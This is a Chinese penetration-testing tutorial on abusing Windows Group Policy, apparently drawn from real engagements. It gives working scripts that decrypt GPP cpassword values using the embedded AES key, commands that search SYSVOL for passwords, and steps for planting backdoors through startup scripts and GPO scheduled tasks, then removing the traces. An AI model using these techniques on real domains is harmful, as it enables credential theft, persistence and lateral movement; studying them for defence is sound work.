0x0 前言
本文首發於先知社區:https://xz.aliyun.com/t/9511
最近在實戰過程中遇到了組策略,發現攻擊面其實挺寬廣的,這里記錄下自己的分析和學習過程
0x1 組策略的認識
組策略(英語:Group Policy)是微軟Windows NT家族操作系統的一個特性,它可以控制用戶帳戶和計算機帳戶的工作環境。組策略提供了操作系統、應用程序和活動目錄中用戶設置的集中化管理和配置。組策略的其中一個版本名為本地組策略(縮寫“LGPO”或“LocalGPO”),這可以在獨立且非域的計算機上管理組策略對象。
通過使用組策略,你可以設置策略設置一次,然后將該設置復制到多台計算機上。 例如,你可以在鏈接到域的 GPO 中設置多個 Internet Explorer11 安全設置,然后將所有這些設置應用到域中的每台計算機。
根據作用范圍不同組策略可划分為多種,並且擁有自己的執行順序和繼承原則。
0x1.1 密碼的難題
每台Windows主機有一個內置的Administrator賬戶以及相關聯的密碼。大多數組織機構為了安全,可能都會要求更改密碼,雖然這種方法的效果並不盡如人意。標准的做法是利用組策略去批量設置工作站的本地Administrator密碼。但是這樣又會出現另一個問題,那就是所有的電腦都會有相同的本地Administrator密碼。也就是說,如果獲取了一個系統的Administrator認證憑據,黑客就可以獲取他們所有機器的管理權限。
0x1.2 SYSVOL
解決辦法之一是為認證數據采取SYSVOL,SYSVOL是AD(活動目錄)里面一個存儲域公共文件服務器副本的共享文件夾,所有的認證用戶都可以讀取。SYSVOL包括登錄腳本,組策略數據,以及其他域控所需要的域數據,這是因為SYSVOL能在所有域控里進行自動同步和共享。
所有的域組策略存儲在:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
0x1.3 SYSVOL里的認證
在windows電腦中,管理需要花心思去保證本地Administrator賬戶(RID 500)。傳統的做法(除了購買安全產品),是使用一個自定義的腳本去更改本地Administrator的密碼。這樣就會出現一個問題,密碼肯定會明文存儲在SYSVOL的腳本里(比如vbs文件)。比如黑客需要搜尋用來更改本地Administrator密碼的VBS腳本,該vbs腳本在Microsoft TechNet gallery上,密碼為可見的。這個腳本存在SYSVOL里,每個域用戶都有讀的權限,且該密碼是每台電腦組策略應用的本地Administrator密碼。
0x1.4 組策略偏好GPP
在2006年,微軟收購了桌面標准的“PolicyMaker”,並重新借此與win2008發布了GPP(組策略偏好)。其中GPP最有用的特性,是在某些場景存儲和使用憑據,其中包括:
映射驅動(Drives.xml)
創建本地用戶
數據源(DataSources.xml)
打印機配置(Printers.xml)
創建/更新服務(Services.xml) 計划任務(ScheduledTasks.xml) 更改本地Administrator密碼
這對管理員非常有用,因為GPP提供了一個自動化機制,可以作為急需的解決方案(比如腳本)給他們。它提供了有效的方法,利用顯式憑據結合組策略部署了計划任務,一次性批量更改了電腦的本地管理的密碼,也許這就是最受歡迎的利用場景吧。
0x1.5 GPP中存儲的憑據
然而現在有個問題,憑據數據應該怎樣保護?
當管理創建了一個新的GPP時,SYSVOL里有一個XML文件提供了相關配置數據。如果里面提供了密碼的話,那應該就是AES-256加密,看起來這加密似乎是夠強力了。
然而除了在2012年前的某些點外,微軟在MSDN上發布了AES的私鑰,它可以用來解密這種密碼。因為認證用戶(所有域用戶或者信任域里的用戶)對SYSVOL擁有讀權限。在域里的任何用戶可以搜索SYSVOL共享中的帶有cpassword字樣的XML文件,里面包含了AES加密的密碼。
0x2 組策略的分類
0x2.1 本地組策略(LGP)
本地組策略(Local Group Policy,縮寫LGP或LocalGPO)是組策略的基礎版本,它面向獨立且非域的計算機。至少Windows XP家庭版中它就已經存在,並且可以應用到域計算機。在Windows Vista以前,LGP可以強制施行組策略對象到單台本地計算機,但不能將策略應用到用戶或組。從Windows Vista開始,LGP允許本地組策略管理單個用戶和組,並允許使用“GPO Packs”在獨立計算機之間備份、導入和導出組策略——組策略容器包含導入策略到目標計算機的所需文件。
這里演示下利用本地組策略來加載我們的后門程序
這里我直接用CS生成一個window的后門shell.exe
開始->運行->鍵入"gpedit.msc"->本地組策略編輯器->window設置(system)->腳本->啟動->屬性
點擊顯示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我們的后門程序復制到這個路徑,然后這個腳本開機就會自動加載執行了
當我們重新啟動的時候,發現直接以system權限加載了我們的程序
用ps1腳本上線同理,也是拿到了一個system權限
0x2.2 域組策略
當機器安裝了域環境的時候,系統管理工具會多出一個功能(組策略管理),通過它,域管理員能夠很方便統一地對域內的機器和用戶進行統一管理。
域管理員經常會面對一個這樣的問題,域成員機子的默認本地管理員密碼過於簡單,想進行批量修改的時候,這個時候就可以利用組策略來進行任務的批量下發。
- 1.通過在域中下發腳本來執行
- 2.在組策略首選項GPP中進行設置
- 3.本地管理員密碼解決方案:LAPS(不細說這個內容,這是解決這個問題很好的方案)
首先我們需要了解下AD域中兩個默認的共享文件夾:SYSVOL
NETLOGON
NETLOGON目錄
掛載點:SYSVOL\domain\SCRIPTS
主要存放的是一些腳本信息,是AD活動目錄安裝時候自動創建的,是在sysvol
下面的一個子目錄文件夾
SYSVOL目錄
SYSVOL目錄是AD域中的一個共享文件夾,該文件夾在AD活動目錄安裝時候被創建。通常用來存放組策略數據 和 一些腳本 配置文件,這些策略和腳本將用於傳遞給域成員機器。
此外,域控機器之間因為要自動同步域數據,SYSVOL文檔允許該域內的所有DC機之間進行復制,並且所有的AD用戶都可以訪問它
在域中,用戶登錄(計算機)時,會首先在SYSVOL文件查找GPO和啟動腳本。同時,為了保證系統的正常運行,必須為SYSVOL保留足夠的空間緩存,而且不能隨意刪除、改動該文件夾,要不然會出現一些組策略無法啟用等報錯信息
該目錄由於針對的是域內所有機器和用戶,所以域內中的合法用戶均可以訪問和執行該目錄的文件。(普通的域用戶也可以)
如果更改權限,這個地方會顯示拒絕訪問
GPO
組策略對象,GPO(Group Policy Object),實際上就是組策略設置的集合。
你可以用GPO來存儲不同的組策略信息,然后作用在指定OU或者指定作用范圍發揮作用。
默認安裝完AD之后,系統默認會存在兩個組策略對象
Default Domain Policy
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
默認域策略
Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.
存放的路徑:
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers Policy
唯一ID(GUID):{6AC1786C-016F-11D2-945F- 00C04FB984F9} (都是相同的)
默認域控制器策略
管理目標“Domain Controllers”容器,影響“Domain Controllers”容器中的域控制器,域控制器賬戶單獨保存在該容器中。
不難看到這個GPO作用的范圍是DC這個OU,相應的執行優先級如下圖
GPP
我們可以看到GPP里面自定義了很多操作,比如本地用戶和組的密碼控制、計划任務等
在GPP出現之前,很多統一管理的操作只能通過腳本來實現,而GPP方便和簡化了這樣的管理,GPP你可以將其理解為一個功能點,作用是簡單化、規范化組策略的發布和使用
0x2.3 域組策略的利用
0x2.3.1 讀取腳本中密碼
這里我用一個例子來說明,域組策略是怎么加載腳本作用到域內機器的
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user") objUser.SetPassword "123QWEQWE!@#" objUser.SetInfo
這里我們保存這個腳本為cpass.vbs
,這個腳本的作用那就是修改本地管理員賬戶的密碼為
123QWEQWE!@#
這里我直接在域策略的GPO下面直接用腳本來下發這個腳本
這里為了演示效果,我們在域用戶機器上進行強制更新組策略
gpupdate /force
我們可以在域用戶中通過搜索腳本文件比如*.vbs
*.bat
來找到
搜索SYSVOL的下的腳本命令
shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
0x2.3.2 GPP漏洞的利用
GPP漏洞只在2008沒打補丁版本上存在,超過2008版本的系統是沒辦法寫入密碼的。
這個漏洞的產生原因是 使用了GPP功能,如果輸入了用戶的密碼的話,那么密碼就會以AES 256加密的形式存儲在SYSVOL文件夾下的以XML后綴結尾的xml文件中,這個密碼的加密密鑰由微軟官方給出可以進行解密,但是如果打補丁或者高版本的話,GPP服務是不能輸入密碼的了,這個漏洞也就相應不存在了。
輸入密碼項是被禁用的
下面我們來演示下怎么在CS下獲取到GPP泄露的密碼:
這里我們在dc2008新建一個OU組: GPPVuln
然后在該OU上,我們新建個使用了GPP的本地用戶密碼的策略
獲取到該GPO的ID:{A7797762-FD8F-4B74-803E-BAE362BCC905}
然后我們根據該ID去SYSVOL搜索即可得到該目錄下的文件
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{A7797762-FD8F-4B74-803E-BAE362BCC905}\Machine\Preferences\Groups
可以看到在該Groups目錄下的xml文件立馬就可以看到我們設置gpptest用戶名對應的加密的密碼HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0
這個密碼的解密方式有很多種,這里給出最常用的兩種:
1.RUBY的一個腳本gppdecrypt.rb
require 'rubygems'
require 'openssl' require 'base64' encrypted_data = ARGV def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end blah = decrypt(encrypted_data) puts blah
2.Gppprefdecrypt.py
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences. # # This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share. # import sys from Crypto.Cipher import AES from base64 import b64decode # Init the key # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 key = """ 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b """.replace(" ","").replace("\n","").decode('hex') # Add padding to the base64 string and decode it cpassword = "HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0" cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) # Decrypt the password o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password) # Print it print o[:-ord(o[-1])].decode('utf16')
演示效果如下:
解密如下
我們也要關注該目錄下的其他XML文件
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
這里不僅僅是修改本地用戶密碼這個GPP存在,比如計划任務等需要寫入用戶密碼xml文件都可能存在這個問題
1.命令行下搜索
dir /s /a \\DC\SYSVOL\*.xml
2.Get-GPPPassword.ps1的使用
使用powershell-import
導入Get-GPPPassword.ps1
powershell Get-GPPPassword
加載該函數
這個powershell腳本會自動遍歷SYSVOL下的敏感文件,並且將密碼解密
3.針對性用戶查找,這里我們可以使用powerview
這里我們以de1ctf中的wp中的思路自己走一遍那個流程
我們在指定的GPPVuln
這個OU中添加個賬戶
下面我們演示如何在域中根據該用戶名稱來進行針對性的GPP搜索
簡單的信息收集:
1.查看域內共享
powershell get-domaincomputer|get-netshare
2.查看域用戶信息
powershell Get-DomainUser -identity gpptest
可以看到該用戶屬於GPPVuln的OU組
3.查看OU組信息
powershell Get-DomainOU -identity GPPVuln
發現有個GPO的link鏈接信息,然后我們根據這個GPUD去相應的文件夾進行搜索就可以了
0x2.3.3 后門利用
這個后門的利用的前提是我們已經拿下了域控的權限。
通過GPO我們可以指定控制OU下的所有用戶,比如批量下發木馬或者進行其他操作。
1.直接的方式
比如簡單和暴力的方式,就是直接將我們的木馬當成腳本放在域策略或者自己新建個GPO然后在啟動|關閉中放入我們的木馬,然后將該GPO鏈接到你想搞的OU下,這樣就可以實現定向打擊,這種感覺比較明顯吧,很容易就可以排查出來了。
2.計划任務實現遠程執行
這種方式能夠按照時間定時的收集信息,相對來說比較隱蔽。
這里演示下如何使用New-GPOImmediateTask.ps1
1.導入powershell中管理GPO的模塊&創建一個作用整個域的GPO
Import-Module GroupPolicy –verbose
2.執行腳本添加計划任務
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
3.強制更新組策略,或者默認等待90分組等待組策略強制更新
Invoke-GPUpdate -Computer "TEST\COMPUTER-01"
4.清理痕跡
Remove-GPO -Name TestGPO
0x03 后記
這是我在一個實戰域環境內用冰蠍上馬后查看gpp共享,但是好像他這個文件夾里面沒有放bat
所以並不是每一個域環境內的情況都是一樣的,這里只是給師傅們提供個思路
總體來說,共享組策略目錄是域中最容易出現密碼的地方,一般管理員會把一些bat腳本放在里面用來重置域內客戶機器本地的administrator的密碼,所以當我們進入內網之后如果遇到橫向不動的情況,就可以查看一下gpp,查看共享組策略目錄中是否存在密碼